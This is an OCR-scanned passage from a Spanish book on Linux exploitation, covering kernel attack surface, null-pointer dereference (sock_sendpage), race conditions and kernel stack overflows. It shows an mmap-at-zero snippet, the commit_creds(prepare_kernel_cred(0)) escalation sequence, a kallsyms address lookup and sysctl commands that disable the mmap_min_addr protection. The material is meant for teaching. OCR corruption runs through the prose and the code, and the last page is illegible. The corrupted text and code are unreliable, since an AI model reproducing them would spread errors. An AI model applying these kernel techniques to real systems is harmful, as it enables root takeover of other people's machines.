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imagen  09. 1 1 :  Tecnica  Heap  Feng  Shui 
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Final  men  le  se  intentara  situar  el  buffer  a  desbordar  en  uno  de  estos  hueeos,  conociendo  de  antemano 
que  el  nuevo  trozo  siempre  sera  adyacente  a  uno  de  los  buffers  que  contenga  datos  controlados  por  el 
exploiter. 

Una  forma  sencilla  de  realizar  esta  tarea  consiste  en  declarar  cadenas  de  caracteres  del  mismo  modo 
que  en  el  metodo  anterior  y  luego  hacer  que  las  referencias  a  los  nuevos  bloques  de  datos  apunten  a 
un  valor  nulL  de  modo  que  una  llamada  al  recolector  de  basura  del  lenguaje  en  cuestion  libere  la 
memoria  no  utilizada. 

Por  supuesto,  tambien  bay  que  controlar  que  todas  las  reservas  caigan  dentro  del  heap  del  propio 
proeeso  y  no  en  uno  dedicado  o  utilizado  por  los  objetos  del  motor  de  scripting.  Tambien  es  posible 
realizar  una  prim  era  reserva  de  gran  lamaho  consiguiendo  asi  que  una  nueva  pagina  de  memoria  sea 
utilizada  y  comenzar  la  tecnica  en  un  estado  mas  Limpio  y  predeeible. 


9.9.  Dilucidacion 

Conciuimos  asi  una  larga  etapa  en  el  estudio  de  complejas  tecnicas  de  ataque  contra  aplicaciones  que 
uti  lizan  la  gestion  de  memoria  dinamica  de  un  modo  erroneo  para  la  rcalizacion  de  sus  tareas. 

Sabemos  que  las  condiciones  prcvias  que  eonducen  a  la  ejecucion  exitosa  de  cualquiera  de  los  metodos 
anteriores,  son  cuando  menos  imprevisibles  y  tienden  a  producirse  unicamente  en  casos  aislados.  No 
obstante,  la  experieneia  tambien  nos  dicta  que  existen  aplicaciones  que  ya  ban  si  do  vulneradas  con 
dichas  tecnicas  o  ligeras  variaciones  de  las  mismas. 

Dlmalloc  0  Ptmalloc  no  son  implementaciones  omnipresentes  en  sistemas  tipo  Unix,  de  hecho,  existe 
una  gran  cantidad  de  gestores  de  memoria  (entre  los  mas  recientes  se  encuentra  por  ejemplo  jemalloc) 
que  se  basan  en  principles  y  arquitecturas  similares  a  los  anteriores.  Es  por  ello  que  el  estudio  del 
presente  capitulo  abre  una  puerta  a  aquellos  que  deseen  investigar  las  entranas  y  complejos  laberintos 
de  otros  sistemas,  encontrando  en  eilos  vulnerabilidades  de  la  misma  clase  y  disponiendo  de  una  base 
solida  para  construir  nuevos  ingenios  de  explotacion. 
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Explotacion  en  espacio  de  kernel 


Desde  que  la  venta  de  exploits  a  mafias,  gobiemos  y  multinacionales  se  ha  con  verb  do  en  uno  de  los 
negocios  mas  rentables  del  siglo  XXI,  la  atencion  de  los  investigadores  se  ha  ido  desviando  en  los 
ultimos  anos  haeia  el  elemento  mas  complejo  de  los  sistemas  operatives,  el  nucleo  o  kernel 

Por  poner  una  cantidad  no  del  todo  precisa,  ya  que  cuando  se  habla  de  dinero  y  de  mafias  el  agua 
tiende  a  ponerse  may  turbia,  podriamos  adelantar  que  un  exploit  para  un  fallo  de  seguridad  no  conoeido 
publicamente  ni  parcheado,  un  zero-day  *  puede  rondar  entre  los  3.000  y  los  200.000  euros  depen  diendo 
de  la  extension  y  mercado  del  software  ataeado. 

Mostramos  a  continuation  la  famosa  tabla  de  precios  publicada  en  un  interesantisimo  articulo  de  la 
pagina  Forbes  a  partir  de  unas  declaraciones  del  hacker  The  Grugq,  del  que  recomendamos 
fervientemente  su  lectura:  http ://www.fbrbes,  com/s ites/amfygreen berg/2 0 / 2/03/2 3/shopping-for- 
zem~days-an-price4ist~for-hackers-secret-soft\vare-exploU$/. 
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Imogen  10.01 :  Tabla  de  precios  por  la  compra  de  exploits. 


Algunos  exploiters,  por  supuesto,  han  previsto  desde  hace  liempo  que  esta  era  la  salida  perfecta  a  todos 
sus  problemas  economicos.  Ademas  de  formar  grupos  de  trabajo  para  la  realization  de  las 
investigaciones,  se  han  publicado  multitud  de  herramientas  de  automatizacion,  inyeccion  de  dates  y 
fuzzing  para  acelerar  los  tidos  de  desarrollo  y  venta. 


No- 


El  fuzzing  es  una  tecniea  de  analysis  que  uliliza  un  software  de  automatizacion  para 
inyectar  dates  irregitlares  o  semi-aleatorios  en  la  entrada  de  una  aplicacidn.  Para  cada 
inyeccion  se  comprueba  e!  comportamiento  del  proceso  objeto  de  estudio,  deseubriendo 
en  las  respuestas  si  esle  ba  sulrido  un  fallo  y  eualquier  posible  vulnerabiltdad  presente 
en  el  mis  mo. 


280 


Linux  Exploiting 


Dcbemos  reconoeer  que  esta  clase  de  operaciones  que  se  encuentran  bien  al  I  unite,  bien  al  margen  de 
la  legalidad,  ha  Ilegado  hasta  tal  punto  que  ya  no  podemos  estar  seguros  de  si  los  propios 
programadores  de  sistemas  operativos  han  sido  puestos  en  nomina  pOT  partes  interesadas  para 
introducir  vulnerabilidades  de  forma  voluntaria  en  su  propio  software. 

Sea  eomo  fuere,  y  debido  a  todas  las  protecciones  de  seguridad  implementadas  a  lo  largo  del  tiempo 
en  espacio  de  usuario,  el  i  uteres  se  ha  ido  vo  I  can  do  cad  a  vez  mas  had  a  el  mi  dec  del  si  sterna,  donde 
la  ejecucion  de  un  codigo  arbitrario  no  puede  ser  evitada  por  otra  entidad  superior  en  un  si  sterna 
corriente  que  implique  tan  solo  dos  niveles  de  ejecucion  (riiigO  vs  ring3)<  La  compiejidad  y  el  nivel  de 
conocimientos  se  ha  elevado  exponencialmente  pero...  ^quien  no  estaria  dispuesto  a  sacrificar  tiempo 
y  esfuerzo  cuando  hablamos  de  cifras  con  tantos  ceros  a  la  derecha? 

10.1.  ^Donde  juegan  los  mayores? 

Los  exploiters  se  han  venido  enfrentando  en  ahos  recientes  a  mecanismos  de  seguridad  mas  o  menos 
elaborados,  los  euales  hemos  detallado  a  lo  largo  de  este  libro,  como  pueden  ser:  StackGnard, 
StackShield,  Stack  Smashing  Protector  o  ProPolice,  RELRO,  AAAS,  PaX,  ASLR,  OpenWall, 
Execution  Prevention  (NX,  WAX)  o  Fortify  Source  entre  tantos  otros. 

Hasta  este  punto  no  hemos  hecho  mas  que  hablar  de  sistemas  anti -explotac  ion.  Siendo  conscientes  de 
que  tambien  existen  metodos  para  mitigar  los  efectos  producidos  por  un  posible  ataque,  es  decir, 
mecanismos  de  post-exp lotac ion,  parece  logico  que  la  bfisqueda  de  un  nuevo  vector  de  ataque  sea  lo 
mas  practico. 

SELinux  y  AppAnnor  son  otras  de  las  muchas  alternativas  que  han  sido  desarrolladas  para  limitar  las 
capacidades  de  los  procesos  que  puedan  ser  susceptibles  de  sufrir  fallos  de  seguridad.  SELinux  o 
Security-Enhanced  Linux,  desarrollado  por  la  Agenda  National  de  Seguridad,  estd  constituido  por 
una  serie  de  parches  para  ei  kernel  de  Linux  que  establecen  un  control  de  acceso  obligatorio  o  MAC. 
Basicamente,  consist©  en  separar  los  elementos  del  sistema  operativo  en  sujetos  y  objetos.  Un  sujeto 
se  encuentra  normalmente  asociado  a  un  proceso  del  sistema  y  Los  objetos  quedan  constituidos  por  los 
ficheros,  directorios,  puertos  y  otros  recursos  disponibles.  Tanto  a  sujetos  como  a  objetos  se  les  asocian 
unos  atributos  dc  seguridad  especificos,  y  cuando  los  primeros  desean  aeceder  a  los  segundos,  se 
realizan  las  comprobaciones  necesarias  para  confinnar  que  el  acceso  que  se  va  a  producir  es  legal. 
AppArmor  es  otra  opcion  relativamente  mas  sencilla  de  implementar,  otorga  la  posibilidad  de 
establecer  un  perfil  personal izado  a  una  aplicacion  o  proceso  de  mode  que  queden  perfeclamente 
definidas  las  capacidades  o  los  recursos  a  los  que  este  puede  acceder  durante  su  ejecucion.  AppArmor, 
por  lo  tanto,  se  centra  mis  en  limitar  las  necesidades  de  los  programas  que  de  los  propios  usuario s. 

En  tiempos  mas  recientes  la  mod  a  ha  pas  ado  por  eneerrar  los  procesos  o  aplicaciones  mas 
comprometidas  en  una  espeeie  de  eeldas  o  jaulas  conoeidas  como  sandboxes  (cajas  de  arena).  El 
navegador  web  Chrome,  por  poner  un  cjemplo,  utiliza  una  libreria  especial  que  ejecuta  el  programa  en 
un  entomo  restringido  en  el  cual  las  conexiones  al  mundo  exterior  se  encuentran  lirnitadas  y  las 
capacidades  de  escritura  en  disco  prohibidas.  El  objetivo  es  mitigar  la  expansion  del  malware  actual  y 
evitar  que  este  pueda  almacenarse  de  un  modo  persislente  en  los  sistemas  de  los  usuarios  cuando  una 
vulnerabilidad  ha  sido  explotada.  El  acercamiento  es  similar  al  que  planteabamos  mediante  chroot  ( ) , 
pero  ahora  con  una  granularidad  todavia  superior.  Desde  marzo  de  2012,  la  empresa  Apple  ha 
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establecido  como  requisite  obligatorio  utilizar  una  sandbox  para  cada  aplicacion  publicada  en  la 
AppStore  (la  tienda  online  ofieial  de  los  chieos  de  la  manzana),  rnedida  destinada  a  que  los  programas 
que  vayan  a  eorrer  bajo  el  sistema  operativo  iOS  de  los  dispositivos  iPhone  y  iPad  no  puedan  aeceder 
a  recursos  tales  como  la  camaia  de  video,  el  microfono  o  los  propios  documentos  personates  de  los 
usuarios.  Algunos  de  ios  muchos  If  mites  que  una  sandbox  puede  establecer  y  de  los  cuales  el 
pro  gram  ad  or  debe  ser  completamente  eonseiente  son  Los  siguientes: 

-  Queda  prohibida  la  carga  de  exlenslones  o  modules  de  kernel. 

-  Queda  prohibido  el  acceso  y  configuracidn  de  las  preferences  de  olras  aplicaciones, 

-  Queda  prohibida  la  final  izacion  de  otras  aplicaciones  extemas. 

-  Queda  prohibido  carnbiar  la  configuration  de  la  red. 

Existen  determinadas  APIs  que  pueden  facilitar  algunas  de  estas  capacidades  de  un  modo  controlado 
pero,  como  norma  general,  todo  lo  nccesario  para  que  la  aplicacion  flincione  de  un  modo  correcto  y 
sin  sorpresas  desagradables,  deber  ser  previamente  establecido  dentro  del  eonlenedor  en  el  que  se 
ejecuta  el  proceso. 

Otro  ejemplo  de  sandbox  conocido  puede  ser  visto  en  el  sistema  operativo  Android,  instalado  en 
millones  de  tablets  y  smartphones.  Android  protege  los  procesos  que  corren  dentro  de  cada  dispositive, 
haciendo  que  se  ejeeuten  dentro  de  una  maquina  virtual  DVM  o  Dalvik  Virtual  Machine.  Esta  se 
implemento  para  que  todos  los  programas  sean  independientes  Linos  de  otros  y  no  puedan  acceder  a 
los  datos  de  sus  vecinos  si  no  se  les  han  concedido  los  permisos  adecuados.  Al  fin  y  al  cabo,  el  modelo 
de  seguridad  de  Android  se  basa  absolutamente  cn  reglas,  permisos,  y  en  la  capacidad  que  tiene  el 
usuario  o  propielario  del  terminal  para  decidir  que  es  lo  que  puede  o  no  puede  hacer  cada  aplicacion. 


Noi 


Esto  ultimo  es  de  hecho  uno  de  los  errores  de  disefio  mas  graves  en  lo  que  a  seguridad 
se  re  ft  ere.  Por  normal  general  Los  usuarios  no  son  personas  tecnicas  y  send  1  Lam  ente  no 
comprueban  Los  permisos  solicitados  por  las  aplicaciones  que  descargan  a  diario. 


La  superficie  de  ataque  que  el  kernel  concede  al  usuario  es  mas  grande  de  lo  que  uno  podri'a  imaginar 
tras  una  breve  exploracibn.  Algunos  elementos  que  pueden  contener  debilidades  en  su  disefio  e 
implementation  son  los  siguientes: 

Drivers 

-  Ficheros  de  dispositivo 

-  IGCTLs 
Sistemas  de  ficheros 
Protocol  os  de  red 
Parsers 

-  F  orm  atos  ej  ecutab  le  s 

-  Llamadas  de  sistema 

-  Manej  adores  de  interruption 

Etc... 
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Dicho  todo  esto,  pareee  que  queda  claro  que  cuantos  mas  elementos  integrcn  un  sistema,  mas  complejo 
e  inestable  puede  volverse  el  mismo.  La  complejidad  es  el  peer  enemigo  de  la  seguridad,  y  el  kernel 
es  un  monstruo  con  demasiados  fragmentos  de  eddigo  ofuscados  y  pobremente  implementados.  Los 
investigadores  ban  encontrado  en  el  nucleo  del  sistema  una  gran  superbeie  de  ataque  con  infinidad  de 
estructuras  de  dates  que  podrian  ser  manipuladas  para  obtener  un  control  total  sobre  la  maquina. 

10.2.  Derreferencia  de  punteros  nulos 

Una  de  las  vulnerabilidades  mas  candentes  al  inicio  de  la  guerra  contra  el  kernel  ha  side  la 
derreferenciacion  de  punteros  nulos.  Los  pro  gramad  ores  no  ban  ten i do  especial  precaution  a  la  hora 
de  manejar  variables  no  inieializadas,  y  lo  que  antano  tenia  como  consecuencia  un  blpqueo  de  todo  el 
sistema  (conocido  en  la  jerga  como  kernel pcmik\  hoy  const ituye  un  gravisimo  error  que  puede  ser 
ulilizado  por  el  malware  actual  para  tomar  control  del  mismo. 

Sin  entrar  en  detalles  demasiado  complejos,  sabemos  que  el  sistema  operativo  Linux  divide  por  detecto 
el  espacio  virtual  de  direcciones  reservando  3Gb  de  memoria  para  ei  espacio  de  usuario  y  1Gb  para  el 
kernel.  Mientras  un  programa  de  usuario  no  tiene  mas  visihilidad  que  el  propio  espacio  que  le  ha  sido 
asignado  en  tiempo  de  ejecucibn,  el  kernel  puede  cruzar  la  frontera  cuando  as!  lo  desee  sin  necesidad 
de  utilizar  los  mecanismos  que  el  usuario  corriente  debe  implemenlar  para  lograr  lo  contrario. 


OkFFFFFFFF 

OwCOOOOOOO — 

KERNEL 

1  GB 

tixBFFFFFFF 

aapocki  d«  imuh-iIo 

3  GB 

imagen  10.02:  Separacidn  del  espacio  virtual  dc  dirccciones. 

Cuando  se  derreferencia  el  contenido  de  un  puntero  nulo,  el  codigo  de  kernel  realmente  esta  queriendo 
acceder  al  contenido  presente  en  la  direccion  oxoooooooo,  que  al  no  estar  inapeada  generara  un  fallo 
que  dejara  el  sistema  en  un  estado  inconsistente.  Observando  la  division  en  el  espacio  de 
direccionamiento,  sabemos  que  la  direccion  OxOOOQGOOO  pertenece  al  espacio  de  usuario,  y  es  por  ello 
que  un  atacante  podria  intentar  reservar  este  espacio  e  introducir  datos  arbitrarios  que  puedan  conducir 
a l  control  del  flujo  de  ejecucion. 

m&m  =  mmap  (0x00000000#  PAGES1ZE,  PRQT_EXEC I PROTVREAD \ PROT_WRlTE, 

MAP  FIXED | MAF FRIVATE | MAP AKON,  -1,  0); 
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Si  por  algun  molivo  el  puntero  nulo  se  tram  de  un  puntero  a  funcion,  ya  podemos  imaginar  las 
consecuencias.  De  no  ser  el  caso,  todavia  existen  infinidad  de  posibilidades  para  un  atacante*  En  la 
mayor!  a  de  los  casos  podremos  escribir  un  valor  entero  en  una  direccion  de  me  mod  a  arbitraria,  y  esto 
es  util  dado  que  existen  multi tud  de  objetivos  interesantes. 

Un  ejemplo  sencillo  que  ya  ha  sido  utilizado  en  el  pasado  eonsistia  en  sobrescdbir  el  byte  mas 
signiticativo  de  la  direccion  de  una  funcidn  exportada  por  el  kernel  con  un  valor  OxOO.  Esto  implica 
que  si  dicha  funcion  se  encuentra,  por  poner  un  ejemplo,  en  La  direccion  OxcOQi 02  0304,  La  alteracidn 
de  dicho  byte  lograra  que  sfmc  o  sea  igual  a  0x0001020304,  que  magicamente  pasa  a  apuntar  a  una 
direccion  de  memoria  virtual  en  el  espacio  de  usuario  que  un  atacante  podria  map  ear  para  introducir 
codigo  arbitrario  y  posted  ormente  desencadenar  la  ejecucion  de  dicha  funcion  en  el  kernel  sin  limite 
de  privilegios. 

Un  claro  ejemplo  de  error  de  acceso  a  un  puntero  nulo  se  produjo  tanto  en  las  versiones  2,4  como  2.6 
del  kernel  de  Linux  al  ejecutar  la  funcion  sock_sendpage().  Todo  socket  crcado  en  Linux  contiene 
una  estructura  proto  ops  asociada  que  contiene  punteros  a  funcion  que  defmen  las  funciones 
espceificadas  por  los  drivers. 

Observe  el  siguiente  fragmento  de  codigo: 

static  ssize_t  sock_sendpage (struct  file  *file,  struct  page  *page, 

int  offset,  size_t  size,  loff_t  *ppos,  int  more) 

.{ 

struct  socket  *sock; 
int  flags; 

sock  —  f  ile->private__data; 

flags  =  !  ( f ile->f_f lags  &  0_«OHBLOCK)  ?  0  ;  MSG_DONTWMT; 
if  (more) 

flags  1-  MSG_MGRE; 

return  sock->ops->sendpage (sock,  page,  offset,  size,  flags); 

} 


El  problema  radica  en  que  sock  sendpage  ( )  asume  que  todas  las  funciones  presentes  en  la  estructura 
proto  ops  se  encuentran  correctamente  inicializadas  cuando  van  a  ser  invocadas.  La  premisa  no  es 
cierta,  y  en  concrete  el  puntero  a  funcion  (*sendpage>  ()  era  seteado  a  null  en  varios  drivers,  por  lo 
que  se  produefa  un  acceso  al  codigo  presente  en  la  direccion  oxoooooooo  si  este  era  establecido 
previamente  por  un  atacante. 

Para  lograr  el  objetivo,  un  exploit  debe  tnvocar  la  funcion  sendfileo  (man  seadfiie)  desde  un 
proceso  de  usuario  sobre  un  descriptor  de  socket  para  el  protoeoio  AppleTalk  o  Bluetooth.  Hemos 
viajado  al  pasado  para  demostrar  lo  trivial  que  resulta  ownear  un  sistema  operativo  Linux  mediante 
un  exploit  que  afeete  al  nucleo.  Instaiamos  la  version  11  de  la  famosa  distribucion  Fedora  Core  y 
ej  ecu  tamos  el  exploit  para  la  vulnerabilidad  socksendpage,  puede  ver  el  resultado  en  la  proxima 
imdgen. 

Multiples  implementaciones  han  sido  disenadas  para  explotar  el  bug  en  diversas  plataformas.  En  la 
direccion  http://downloads.secuntyfocus.com/vulnerabilities/exploiis/S603S-5M.  puede  consultarse  el 
codigo  fuente  de  una  de  el  las. 
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Imagen  10.03:  Demostracidn  del  exploit  sock  sendpageO, 

Cabe  decir  que  en  la  actual  idad  sc  ha  implementado  una  nueva  medida  dc  scguridad  que  impidc  a  los 
procesos  dc  usuario  mapear  una  direction  que  se  cncuentre  poT  dehajo  de  un  limite  establecido  por  el 
administrador  del  sistcma.  Podemos  descubrir  cual  es  este  limite  con  la  siguiente  orden: 

blackngel.  @bbc :  cat  /proc/sys/vm/mmap  min  addr 

€5536 

blackngeiebbcr cat  /p roc/a ys/vti/mmap_min_addr  I  awk  {  ’  t=$l;  printf  (  " \nMMAP  MIR  ADDR 
=  0x%x\nn ,  t)  ;  1  } 

MMAP_MIN_  ADDR  =  0x10000 
blackngelgbbc : -$ 


Julien  Tmnes  demostro  que  esta  protection  podia  scr  evadida  mediante  un  trueo  logico.  El  codigo  que 
comprueba  el  limite  dc  la  direccion  mapeada  es  el  siguiente: 

If  (  [addr  <  mmap_mit_addr)  &&  [ capable (CAP_SYS_RAWIO) ) 

return  -EACGES ; 
re  tu  rrs  0  ; 


Lo  que  significa  que  un  proceso  con  el  bit  setuid  activado  pasaria  la  eomprobaemn.  Postenormente, 
Julien  encontro  un  binario  puiseaudio  que  le  permida  cargar  una  librerfa  mediante  un  parametro  -l. 
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Esto  era  suficiente  para  mapear  la  pagina  OxOOOOOCOG  de  la  memoria.  En  ima  carrera  eontrarreloj  se 
disefid  un  parche  que  solucionaba  la  fall  a. 

listed  puede  desactivar  este  mecanismo  de  protection  bien  para  !a  realizacidn  de  pruebas  sobre  el 
kernel  o  bien  porque  algun  software  podrfa  no  funcionar  correctamente,  de  la  siguiente  forma. 

#  echo  ,tvm.mmap_min_addr  =  0"  >  /etc/sysohl . d/mmap_min_addr reonf 
t  /etc/init . d/procps  restart  _ _ 


O  mcluso  deshabilitarlo  para  un  unico  uso  con: 

#  sysctl  -w  vm. mmap mi n addr^TI 0 " 

10.3.  Condiciones  de  carrera 

Otros  de  los  errores  logicos  que  ban  side  muy  aeusados  en  el  kernel  de  Linux  son  las  condiciones  de 
carrera  o  race  conditions.  Hasta  la  llegada  masiva  de  k>s  procesadores  muti-core  o  sistemas  SMP, 
algunos  programadores  sin  mucho  conocimiento  ban  sido  extremadamente  negligentes  a  la  hora  de 
manejar  el  acceso  a  los  recursos  compartidos. 

Una  condicion  de  carrera  se  produce  cuando  dos  flujos  de  codigo  se  ejecutan  de  forma  concurrente  y 
las  acciones  de  uno  sobre  los  dates  que  maneja  pueden  influir  en  los  resultados  del  otro.  Para  resolver 
este  tipo  de  problemas  los  sistemas  operativos  proporcionan  unos  mecanismos  o  primitivas  de 
sincronizacion  que  los  programadores  debenan  usar  para  evitar  eonflietos  de  acceso,  en  caso  contrario 
pueden  ocurrir  situaciones  como  la  siguiente.  Imagine  el  lector  un  buffer  que  es  pasado  hacia  el  kernel 
quizas  a  Lraves  de  una  llamada  normal  a  una  syscall  conocida.  En  dicha  syscall  tambien  se  proporciona 
la  longilud  de  dicho  buffer.  Luego,  cuando  el  codigo  del  kernel  toma  el  control,  el  valor  de  la  longitud 
del  buffer  es  utilizado  en  dos  puntos  distintos  realizando  comprobaciones  de  seguridad  tan  solo  en  el 
primero.  Se  trata  de  una  cuestion  de  conflanza  cuyos  resultados  pueden  ser  devastadores.  ^,Que 
oeurriria  si  otro  codigo  en  el  espacio  de  usuario,  tal  vez  un  hilo  de  ejecucton,  cambiase  el  valor  de  la 
longitud  del  buffer  en  el  espacio  de  tiempo  que  transcurre  entre  los  dos  puntos  en  que  el  kernel  utiliza 
dicho  valor?  Dado  que  solo  la  primera  vez  se  realiza  un  chequeo  de  seguridad,  una  posterior  alteration 
provocara  efectos  benefieiosos  para  un  atacante  con  La  habilidad  necesaria  para  manipular  la  situation. 

Existen  infinidad  de  errores  Idgicos  que  pueden  conducir  a  una  condicion  de  carrera  probablemente 
explotable.  La  interfaz  ptrace  ()  de  Linux  ha  sufrido  varios  ejemplos  de  esta  clase  de  fallos.  Uno  de 
los  mas  conocidos  se  producia  al  invocar  a  p trace  (ptrace  attach,  . . .  >  mientras  se  ejecutaha  la 
llamada  de  sislema  exeeveo  sobre  un  binario  con  el  bit  setuid  activado.  El  codigo  de  kernel  que 
gestionaba  la  flincion  de  depuration  no  manejaba  eorreetamente  los  elementos  de  bloqueo  y  exclusion 
(mutex)  del  proceso  actual  y  del  proceso  a  depurar.  Se  abria  asi  una  pequena  ventana  de  tiempo  que 
permitia  la  modification  del  espacio  de  direcciones  del  proceso  suid y  la  correspondiente  escalada  de 
privilegios  al  in yectar  codigo  arbitrario  en  el  mismo. 
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10.4.  Desbordamientos  de  buffer 

Los  desbordamientos  de  buffer,  por  supuesto,  han  constituido  tambien  la  plaga  habitual  en  el  nucleo 
de  Linux  y  de  muehos  otros  sistemas  operativos.  La  idea  hasica  para  aprovechar  dichas 
vulnerabilidades  continua  siendo  la  misma  que  en  espacio  de  usuario,  pero  algunas  difereneias  y 
me  tod  os  de  ataque  especificos  deben  ser  advertidos.  En  primer  lugar,  el  kernel  no  dispone  de  aeceso 
a  ia  libreria  eslandar  (libc)  tal  y  como  lo  hacen  los  pro  gramas  de  usuario,  por  lo  tanto  un  atacante  no 
puede  simplemente  redirlgir  una  direceion  de  retorno  guardada  haeia  una  llamada  a 
system  ( "/bin/sh")  y  esperar  obtener  una  shell  con  perm  isos  de  root.  No  obstante,  existen  f  unci  ones 
exportadas  por  el  propio  kernel  que  nos  pueden  resultar  de  utilidad  para  lograr  nuestros  objetivos, 

Imaginemos  que  un  programa  de  usuario  llama  a  una  syscall  o  induso  que  escribe  dates  sobre  una 
entrada  en  el  direetorio  /p roc  correspondiente  a  un  driver  o  modulo  de  kernel  que  contiene  un  stack 
overflow  en  su  interior.  Cuando  la  parte  especifica  del  eodigo  del  nucleo  se  ejecuta,  esta  lo  hace  en  el 
contexto  del  proceso  que  la  ha  desembocado  (de  hecho,  la  variable  current  apunta  al  descriptor  de 
dicho  proceso).  En  este  caso,  un  atacante  puede  redirigir  E1P  para  que  apunte  a  una  s  ecu  end  a  de 
fiinciones  como  la  siguiente: 

commit cred (prepare  kernel  cred (D) ) ; 


Podemos  obtener  la  direction  de  estas  funciones  en  un  si  sterna  concrete  con  el  siguiente  comando: 

blackngel@bbc  : -$  cat  /p roc / kails yms  I  grep  -w  ,fprepare_kernel_cred\  j  ccmmit_creds  "T 
cl06d74Q  T  cornjnit_cr eds 
cl06a98D  T  prepare kernel cred 


Tenga  en  cuenta  que  en  algunos  sistemas  reeientes  este  comando  solo  entregara  direc Clones  v&lidas  si 
se  ejecuta  con  permisos  de  super- usuario,  en  cualquier  otro  caso  todas  las  direc clones  obtenidas  seran 

0x000.00000- 

El  objetivo  de  estas  instrucciones  es  generar  una  nueva  estructura  de  credenciales  con  privilegios  de 
admin istrador  y  asignarla  al  proceso  actual.  Luego  el  atacante  rnovera  a  la  pila  una  serie  de  valores 
neeesarios  para  que  una  instruction  iret  (aquella  complementaria  a  la  instruccion  int)  devuelva  el 
control  al  eodigo  presente  en  el  espacio  de  usuario  y  asi  realizar  cualquier  accion  posterior  con 
privilegios  elevados*  A I  conjunto  de  estos  valores  se  le  conoce  como  trap  frame,  y  esta  constituido  por 
los registros  LIP,  CS,  EFLAGS,  ESP  y  SS. 

Un  ejemplo  de  desbordamiento  de  buffer  en  el  kernel  de  Linux  se  produjo  en  la  funcibn 
eif  core  dumpO  del  formato  de  archivo  ejecutable  ELF.  Esta  se  encarga  de  generar  un  volcado  de 
me  in  or  ia  cuando  una  ap  Head  on  sufre  un  error  grave  y  se  cierra  inesperadamente  (siempre  que  el  valor 
rlimit  coke  lo  permita).  El  fragmento  de  eodigo  vulnerable  era  el  siguiente: 

static  int  elf_core_dump (long  signr,  struct  pt_regs  *  regs,  struct  file  *  file) 
t 

struct  elf_prpsinfo  psinfo;  /*  NT_PRPSINFO  */ 

/*  first  copy  the  parameters  from  user  space  */ 
memset (fipsinfo,  0,  si zeof (psinfo) ) ; 

{ 

int  i.f  len; 

len  =  current->mm->arg_end  -  current->mm^>arg_start ; 
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if  (len  >=  ELF_PRARGSZ) 
len.  =  ELF_PRARGSZ-1; 
copy_f rcm_user { spsinf o . pr_psargs, 

[const  char  *} current ->mm->arg s tart ,  len); 


Los  valores  arg  start  y  arg  end  definidos  dentro  de  la  esiructura  que  gestiona  la  memoria  del 
proceso  (mm),  establecen  el  principle  y  el  final  de  la  zona  que  delimits  los  argumentos  proporcionados 
al  programs.  Si  un  atacante  pudiese  ejereer  cicrto  control  sobre  dichos  valores,  la  variable  len  de 
naturaleza  signed  podria  adquirir  un  valor  negativo  que  superase  el  condicional  if  que  le  sigue.  La 
subseeuenfce  llamada  a  copy  from  user{)  interprets  la  variable  len  como  un  entero  sin  signo 
{unsigned),  por  lo  que  el  valor  negativo  anterior  se  convertiria  de  imnediato  en  un  valor  positive  muy 
grande,  lo  que  provocaria  el  desbordamiento  de  la  estructura  psinfo  y  la  corruption  de  otros  elementos 
adyacentes. 

Con  el  objetivo  de  ofrecer  protection  adicional,  versiones  recientes  del  kernel  de  Linux  implementan 
un  stack  canary.  Si  consults  el  archivo  de  cabecera  sched.h  en  los  fuentes  del  kernel  de  Linux, 
observara  la  siguiente  declaration: 

struct  task_struct  { 

[  ■  1 

#if def  CONFIG_CC_STACKFROTECTOR 

/*  Canary  value  for  the  -fstack-protector  gcc  feature  */ 
unsigned  long  stackje-anary; 
lehdif 

[  ■  *-  1 

}f  


Dejaremos  los  detalles  mas  tecnicos  a  un  I  ado  ya  que  la  explotacion  del  kernel  de  Linux  no  ha  sido  el 
objetivo  principal  de  este  libro  y  existen  muy  buenas  referencias  de  las  cuales  recomendamos  con  gran 
entusiasmo  su  lectura  y  estudio,  entre  ellas:  “A  guide  to  kernel  exploitation”  de  Enrico  Per  la  y 
Massimiliano  Oldani  y  “The  Bug  Hunter’s  Diary”  de  Tobias  Klein, 


10.5.  Dilucidacion 

El  lector  es  consciente  ahora  de  los  peligros  y  oscuros  negocios  que  acechan  en  el  mundo  real.  Como 
el  juego  del  gato  y  el  raton,  ahora  los  atacantes  y  exploiters  mas  habilidosos  compiten  en  una  cancha 
de  oportunidades  para  demostrar  quien  es  capaz  de  encontrar  y  aprovechar  el  fallo  mas  cotizado  del 
mercado.  Hay  mucho  dinero  en  juego  y  muchas  organizaciones  con  poder  e  intereses  que  sedan 
capaces  de  hacer  lo  que  fuese  necesario  para  poseer  la  informacidn  mas  valiosa,  Desde  luego,  la 
information  es  poder,  y  la  era  digital  no  ha  hecho  mas  que  venir  a  confirmar  este  veredicto. 

El  kernel  es  un  basto  oceano  que  aun  a  dia  de  hoy  solo  ha  sido  explorado  por  unos  pocos.  Deseamos 
pues,  con  esta  ligera  introduction,  que  el  resto  del  publico  se  acerque  a  las  complejidades  intemas  de 
los  sistemas  operatives  que  utilizan  a  diario,  y  que  adquieran  las  habilidades  necesarias  y  el 
conocirniento  requerido  para  hacer  el  bien,  ayudar  a  crear  y  desarrollar  mejor  software,  sistemas  mas 
seguros,  y  evitar  a  to  da  costa  que  la  informacion  de  los  usuarios  pueda  caer  en  manos  equivocadas  sin 
ni  siquiera  darse  cucnta  de  lo  que  esta  sucediendo  ahl  fuera. 
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Apendice  I 

Soiucionario  Nebula  Wargame 


El  objctivo  de  las  pnuebas  presentadas  en  la  maquina  virtual  Nebula  es  cubrir  una  variedad  de  retos 
que  van  desde  niveles  de  complejidad  basica  hasta  intermedios.  Nebula  estimula  al  principiante  a 
investigar  las  vulnerabilidades  y  debilidades  presentes  en  un  sistema  operativo  Linux.  Entre  esia s 
podemos  eneonlrar  errores  que  penmten  la  esealada  de  privileges,  problemas  comunes  en  lenguajes 
de  scripting,  condiciones  de  carrera  y  muehas  otras  fallas  que  ya  ban  sido  descubiertas  y  explotadas 
con  exito  en  el  pasado. 


Expfeitl 

■ill-)  Ktrf8ltHfcxerelfiM.com 

expl  Oit-exerdses.ca  rn 

nwtsei;  * 

Follow  u$  Qn  twitter 
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prides  a 

tSMJex  sufh  uj  pftvifta*-  exSilaffi* 
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Nebula 

o+  urnofc  *r.o  r 

••.SOC’W  (Mttffr a-nvtia#* •ascralfitici ; i,  cq nw« 1J.fi.4r  ..fttivtff  .1 
3--j}  flTr-t^n  i  nj  (irc^^rri :  m 

-  ■  **»  de*l  pVr*  v<j  get  ifittfrtn'J  fvr  n*~ 
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trijiUiiSf!  taw**. 

Imagen  11.01:  Pagina  web 

www .  exp  1  oi  t-exerci&es.  c  om . 

